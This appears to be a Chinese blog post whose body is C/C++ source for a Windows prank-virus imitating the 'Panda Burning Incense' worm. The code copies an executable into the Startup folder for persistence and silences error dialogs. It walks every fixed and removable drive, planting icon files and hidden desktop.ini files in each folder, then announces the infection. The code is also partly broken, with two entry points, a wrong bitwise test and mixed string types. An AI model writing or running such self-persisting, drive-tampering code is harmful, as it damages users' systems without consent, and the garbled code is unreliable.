病毒别乱试()

#include <tchar.h>
#include <iterator>
#include <list>
using namespace std; 
#include<graphics.h>
IMAGE img;
#include<conio.h>
#include <stdio.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
#define RC_BINARYTYPE 256
#define ID_ICO 100
#include <windows.h>
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject);
void inject(char *path);
bool WriteResourceToFile(char const *filename);
void clear(char *path);
bool FileExist(char *filepath);
int set_error()
{
	SetErrorMode(SEM_NOOPENFILEERRORBOX|SEM_NOOPENFILEERRORBOX|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_FAILCRITICALERRORS);
	return 1;
}
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{ 
	set_error();
	for (char i='A';i<='Z';i++)
	{
		char x[20]={i,':'};
		UINT type=GetDriveType(x);
		if(type==DRIVE_FIXED||type==DRIVE_REMOVABLE)
		{
				
			    EnumDirectory(x,true);				
		}
	}
	MessageBox(NULL,"恭喜你,中了熊猫烧香病毒!","哈哈",MB_OK);
	return 0;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject)
{
 
	WIN32_FIND_DATA fd;
	TCHAR szTempFileFind[MAX_PATH]={0};
	bool bIsFinish=false;
	ZeroMemory(&fd,sizeof(WIN32_FIND_DATA));
	wsprintf(szTempFileFind,"%s\\*.*",dirpath);
	HANDLE hFind=FindFirstFile(szTempFileFind,&fd);
	if(hFind==INVALID_HANDLE_VALUE)
	{
 
		return false;
	}
	while(!bIsFinish)
	{
 
		bIsFinish=(FindNextFile(hFind,&fd))?false:true;
		if((strcmp(fd.cFileName,".")!=0)&&(strcmp(fd.cFileName,"..")!=0))
		{
 
			TCHAR szFoundFileName[MAX_PATH]={0};
			strcpy(szFoundFileName,fd.cFileName);
			if(fd.dwFileAttributes*FILE_ATTRIBUTE_DIRECTORY)
			{
				TCHAR szTempDir[MAX_PATH]={0};
				wsprintf(szTempDir,"%s\\%s",dirpath,szFoundFileName);
				Sleep(10);
				if(isInject)
				{
					inject(szTempDir);
					EnumDirectory(szTempDir,isInject);
				}else{
					clear(szTempDir);
					EnumDirectory(szTempDir,isInject);
				}
			
 
			}
		}
	}
	FindClose(hFind);
	return true;
}
void inject(char *path)
{
 
	char inifilepath[256];
	char icofilepath[256];
	strcpy(inifilepath,path);
	strcpy(icofilepath,path);
	strcat(inifilepath,"\\desktop.ini");
	strcat(icofilepath,"\\yunshouhu.ico");
	WriteResourceToFile(icofilepath);
	SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
	SetFileAttributes(inifilepath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN);
	WritePrivateProfileString(".ShellClassInfo","IconFile","yunshouhu.ico",inifilepath);
	WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);
	
}
void clear(char *path)
{
	char inifilepath[256];
	char icofilepath[256];
	strcpy(inifilepath,path);
	strcpy(icofilepath,path);
	strcat(inifilepath,"\\desktop.ini");
	strcat(icofilepath,"\\yunshouhu.ico");
	char cmd[300]="del ";
 
	if(FileExist(icofilepath))
	{
		DeleteFile(icofilepath);
	
		strcat(cmd,icofilepath);
		system(cmd);
	}
	if(FileExist(inifilepath))
	{
		
		DeleteFile(inifilepath);
 
		strcat(cmd,inifilepath);
		system(cmd);
	}
	
 
 
}
bool FileExist(char *filepath)
{
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind;
	
	hFind = FindFirstFile(filepath, &FindFileData);
	
	if (hFind == INVALID_HANDLE_VALUE) {
 
		return false;
	} else {
		FindClose(hFind);
		return true;
		
  }
 
 
}
bool WriteResourceToFile(char const *filename)
{
 
	HINSTANCE hInstance=GetModuleHandle(NULL);
	HRSRC hResInfo=FindResource(hInstance,MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
	HGLOBAL hgRes=LoadResource(hInstance,hResInfo);
	void *pvRes=LockResource(hgRes);
	DWORD cbRes=SizeofResource(hInstance,hResInfo);
	HANDLE hFile=CreateFile(filename,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	DWORD cbWritten;
	WriteFile(hFile,pvRes,cbRes,&cbWritten,0);
	CloseHandle(hFile);
 
	return false;
} 

int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");    
	initgraph(640,480);
    while(1)
    {

	    loadimage(&img,L"Genshin.jpg",100,100);
	    loadimage(&img,"Genshin.jpg",100,100);
	    putimage(100,100,&img);
	    getch();
	    closegraph();
    }
    return 0;
}

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值